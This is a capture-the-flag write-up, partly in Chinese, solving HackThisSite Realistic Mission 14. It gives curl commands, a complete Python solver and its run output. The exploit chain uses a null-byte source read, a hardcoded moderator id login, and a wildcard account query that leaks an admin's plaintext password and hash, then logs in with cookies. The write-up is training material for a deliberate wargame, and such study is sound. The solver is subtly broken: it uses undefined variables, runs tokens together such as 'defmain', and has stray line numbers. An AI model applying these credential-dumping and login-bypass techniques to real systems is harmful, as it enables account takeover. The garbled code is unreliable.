$ curl -s -b "HackThisSite=<mission-cookie>" \ -e "https://www.hackthissite.org/missions/realistic/14/moderator.cgi" \ -d 'action=view&id=isadmin&account=*' \ "https://www.hackthissite.org/missions/realistic/14/moderator.cgi" <b>Admin Account</b><br>username: webguy<br> password: reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack<br> Sha1 hash: 861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05<br> email address: webguy@yuppers.nod<br> first name: Bob<br> middle name: Underwood<br> last name: Yuppers<br> month of birth: Male<br> day of birth: Unmarried<br> year of birth: September<br> gender: 24<br> marital status: 1973<br> country: United States<br> state: Idaho<br> city: Boise<br> address: 9451 Poplar Road<br> phone number: 539-124-5155<br> occupation: webmaster<br> income: 8650000<br> dependents: 0<br> first interest/hobby: programming<br> second interest/hobby: eating out<br> third interest/hobby: fund raising for Republicans<br> fourth interest/hobby: making TV ads<br> fifth interest/hobby: encryption<br> about: Hello, I am Bob Underwood Yuppers, and I am the CEO and founded Yuppers Internet Solutions.<br>
拿到明文密码
reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack
和它的 SHA1
861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05。account
字段的解析是对原始 POST body 做字符串匹配的:把 body 做标准
form-urlencode 会把 * 编成
%2A,服务端不认,返回
That user doesn't exist.——所以 *
必须以裸字符发出(脚本里用原始 body 而非 dict 就是这个原因)。
$ curl -s -b "HackThisSite=<mission-cookie>; yuppers_user=webguy; \ yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; admin_login=2067123" \ -e "https://www.hackthissite.org/missions/realistic/14/webpermit/login.cgi" \ "https://www.hackthissite.org/missions/realistic/14/administrator.cgi" You shuffle through the admin panel and see that every action is monitored and sold to advertisers. You clear out the logs and post the entire source to the main page, and of course...<br><br> <iframe src="webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986" style="border: 0px #ffffff outset; width:80%; height:50%;"></iframe>
#!/usr/bin/env python """HackThisSite Realistic Mission 14 (Yuppers Internet Solutions) solver. Chain: moderator.cgi credential-less login (id=isadmin) -> wildcard account dump -> Web Permit login -> administrator.cgi -> mission-accomplished.php. Notes: - The null-byte source read (news.cgi?story=moderator.cgi%00) does not truncate on the live node: Perl rejects an embedded NUL in open(), so the CGI reports "Failed to load moderator.cgi\\0.news". The hardcoded moderator id is supplied directly instead. - POST bodies are sent raw (not form-encoded): moderator.cgi matches on the literal "account=*" token, so "%2A" would miss the wildcard. """ import os import re
import requests
BASE = "https://www.hackthissite.org/missions/realistic/14" UA = ( "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" ) FORM = "application/x-www-form-urlencoded"
s = requests.Session() s.headers["User-Agent"] = UA s.cookies.set(_name, _value, domain="www.hackthissite.org", path="/")
defmain() -> None: # Step 1: null-byte source read (no truncation on the live node) r = s.get(f"{BASE}/news.cgi", params={"story": "moderator.cgi\x00"}, timeout=30) tail = r.text.split("</form>")[-1] print("[1] story=moderator.cgi%00 ->", tail[:40].replace("\x00", "<NUL>"))
# Step 2: moderator login; "isadmin" is the hardcoded magic id r = s.post( f"{BASE}/moderator.cgi", data="action=login&id=isadmin", headers={"Referer": f"{BASE}/news.cgi", "Content-Type": FORM}, timeout=30, ) print("[2] moderator panel:", "View Account Info"in r.text)
# Step 3: wildcard account lookup leaks the admin record r = s.post( f"{BASE}/moderator.cgi", data="action=view&id=isadmin&account=*", headers={"Referer": f"{BASE}/moderator.cgi", "Content-Type": FORM}, timeout=30, ) user = re.search(r"username: (\w+)", r.text).group(1) pw = re.search(r"password: ([^<\s]+)", r.text).group(1) print("[3] leaked admin creds:", user, "/", pw)
# Step 4: Web Permit login; the server replies with yuppers_* cookies r = s.post( f"{BASE}/webpermit/login.cgi", data="yuppers_user=%s&yuppers_pass=%s" % (user, pw), headers={"Referer": f"{BASE}/login.html", "Content-Type": FORM}, timeout=30, ) print("[4] web permit logged in:", "Logged in as"in r.text)
# Step 5: administrator panel now resolves and returns the completion iframe r = s.get( f"{BASE}/administrator.cgi", headers={"Referer": f"{BASE}/webpermit/login.cgi"}, timeout=30, ) m = re.search(r'src="([^"]*mission-accomplished\.php[^"]*)"', r.text) print("[5] completion iframe:", m.group(1) if m else"NOT FOUND")
if __name__ == "__main__": main()
实际运行输出(HTS_COOKIE
通过环境变量注入,不落盘):
1 2 3 4 5 6 7
$ cd ~/ctf/workspace && HTS_COOKIE="HackThisSite=<mission-cookie>" \ uv run python challenges/hackthissite-realistic-14/solve.py [1] story=moderator.cgi%00 -> Failed to load moderator.cgi<NUL>.news<table [2] moderator panel: True [3] leaked admin creds: webguy / reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack [4] web permit logged in: True [5] completion iframe: webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986